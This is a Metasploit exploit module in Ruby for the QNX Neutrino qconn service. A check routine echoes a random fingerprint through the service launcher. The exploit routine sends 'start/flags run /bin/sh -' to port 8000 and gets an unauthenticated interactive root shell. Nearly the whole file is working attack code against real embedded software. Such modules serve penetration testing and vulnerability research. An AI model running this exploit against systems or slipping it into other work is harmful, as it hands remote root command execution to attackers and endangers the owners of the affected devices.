115 lines
3.0 KiB
Ruby
115 lines
3.0 KiB
Ruby
##
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::Tcp
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def initialize(info={})
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super(update_info(info,
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'Name' => "QNX QCONN Remote Command Execution Vulnerability",
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'Description' => %q{
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This module exploits a vulnerability in the qconn component of
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QNX Neutrino which can be abused to allow unauthenticated users to
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execute arbitrary commands under the context of the 'root' user.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'David Odell', # Discovery
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'Mor!p3r <moriper[at]gmail.com>', # PoC
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'Brendan Coles <bcoles[at]gmail.com>' # Metasploit
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],
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'References' =>
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[
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['OSVDB', '86672'],
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['EDB', '21520'],
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['URL', 'http://www.fishnetsecurity.com/6labs/blog/pentesting-qnx-neutrino-rtos'],
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['URL', 'http://www.qnx.com/developers/docs/6.3.0SP3/neutrino/utilities/q/qconn.html']
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],
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'Payload' =>
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{
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'BadChars' => '',
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'DisableNops' => true,
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'Compat' =>
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{
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'PayloadType' => 'cmd_interact',
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'ConnectionType' => 'find',
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},
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},
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'DefaultOptions' =>
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{
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'WfsDelay' => 10,
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'PAYLOAD' => 'cmd/unix/interact',
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},
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'Platform' => 'unix', # QNX Neutrino
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'Arch' => ARCH_CMD,
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'Targets' =>
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[
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# Tested on QNX Neutrino 6.5 SP1
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['Automatic Targeting', { 'auto' => true }]
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],
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'Privileged' => false,
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'DisclosureDate' => 'Sep 4 2012',
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'DefaultTarget' => 0))
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register_options(
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[
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Opt::RPORT(8000)
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], self.class)
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end
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def check
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@peer = "#{rhost}:#{rport}"
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# send check
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fingerprint = Rex::Text.rand_text_alphanumeric(rand(8)+4)
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vprint_status("#{@peer} - Sending check")
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connect
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req = "service launcher\n"
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req << "start/flags run /bin/echo /bin/echo #{fingerprint}\n"
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sock.put(req)
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res = sock.get
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disconnect
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# check response
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if res and res =~ /#{fingerprint}/
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return Exploit::CheckCode::Vulnerable
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elsif res and res =~ /QCONN/
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return Exploit::CheckCode::Detected
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else
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return Exploit::CheckCode::Safe
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end
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end
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def exploit
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@peer = "#{rhost}:#{rport}"
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# send payload
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req = "service launcher\n"
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req << "start/flags run /bin/sh -\n"
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print_status("#{@peer} - Sending payload (#{req.length} bytes)")
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connect
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sock.put(req)
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res = sock.get
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# check response
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if res and res =~ /No controlling tty/
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print_good("#{@peer} - Payload sent successfully")
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else
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print_error("#{@peer} - Sending payload failed")
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end
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handler
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disconnect
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end
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end
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